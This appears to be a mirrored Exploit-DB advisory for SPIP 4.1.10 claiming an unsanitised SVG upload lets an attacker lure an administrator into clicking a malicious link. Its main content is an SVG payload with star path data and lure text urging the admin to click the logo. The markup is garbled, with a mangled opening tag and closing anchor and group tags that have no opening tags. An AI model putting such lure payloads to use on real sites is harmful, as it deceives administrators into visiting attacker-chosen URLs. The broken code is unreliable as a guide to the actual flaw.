spip v4.1.10 – Spoofing Admin account - 体验盒子

作者： nu11secur1ty

日期： 2023-07-03

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/51557/

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## Exploit Title: spip v4.1.10 - Spoofing Admin account

## Author: nu11secur1ty

## Date: 06.29.2023

## Vendor: https://www.spip.net/en_rubrique25.html

## Software: https://files.spip.net/spip/archives/spip-v4.1.10.zip

## Reference: https://www.crowdstrike.com/cybersecurity-101/spoofing-attacks/

## Description:

The malicious user can upload a malicious SVG file which file is not

filtered by a security function, and he can trick

the administrator of this system to check his logo by clicking on him

and visiting, maybe a very dangerous URL.

Wrong web app website logic, and not well sanitizing upload function.

STATUS: HIGH- Vulnerability

[+]Exploit:

</code><code>SVG

xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">

<defs>

</linearGradient>

</defs>

<path id="badge" d="M 29.6,22.8 C 29.2,23.4 24.3,22.4

23.8,22.9 C 23.4,23.3 24.3,28.3 23.8,28.6 C 23.2,28.9 19.4,25.6

18.8,25.8 C 18.2,26.0 16.5,30.7 15.8,30.7 C 15.2,30.7 13.5,26.0

12.9,25.8 C 12.3,25.6 8.5,28.9 7.9,28.6 C 7.4,28.3 8.3,23.3 7.9,22.9 C

7.4,22.4 2.4,23.4 2.1,22.8 C 1.8,22.3 5.1,18.4 4.9,17.8 C 4.8,17.2

0.0,15.5 0.0,14.9 C 0.0,14.3 4.8,12.6 4.9,12.0 C 5.1,11.4 1.8,7.5

2.1,7.0 C 2.4,6.4 7.4,7.3 7.9,6.9 C 8.3,6.5 7.4,1.5 7.9,1.2 C 8.5,0.9

12.3,4.1 12.9,4.0 C 13.5,3.8 15.2,-0.8 15.8,-0.8 C 16.5,-0.8 18.2,3.8

18.8,4.0 C 19.4,4.1 23.2,0.9 23.8,1.2 C 24.3,1.5 23.4,6.5 23.8,6.9 C

24.3,7.3 29.2,6.4 29.6,7.0 C 29.9,7.5 26.6,11.4 26.8,12.0 C 26.9,12.6

31.7,14.3 31.7,14.9 C 31.7,15.5 26.9,17.2 26.8,17.8 C 26.6,18.4

29.9,22.3 29.6,22.8 z"/>

<!--<text id="label" x="5" y="20" transform = "rotate(-15 10

10)">New</text>-->

<text id="title" x="40" y="20">Please click on the logo, to

see our design services, on our website, thank you!</text>

</a>

</g>

</svg>

</code><code>

## Reproduce:

[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/SPIP/SPIP-4.1.10)

## Proof and Exploit:

[href](https://www.nu11secur1ty.com/2023/06/spip-v4110-spoofing-admin-account.html)

## Time spend:

00:37:00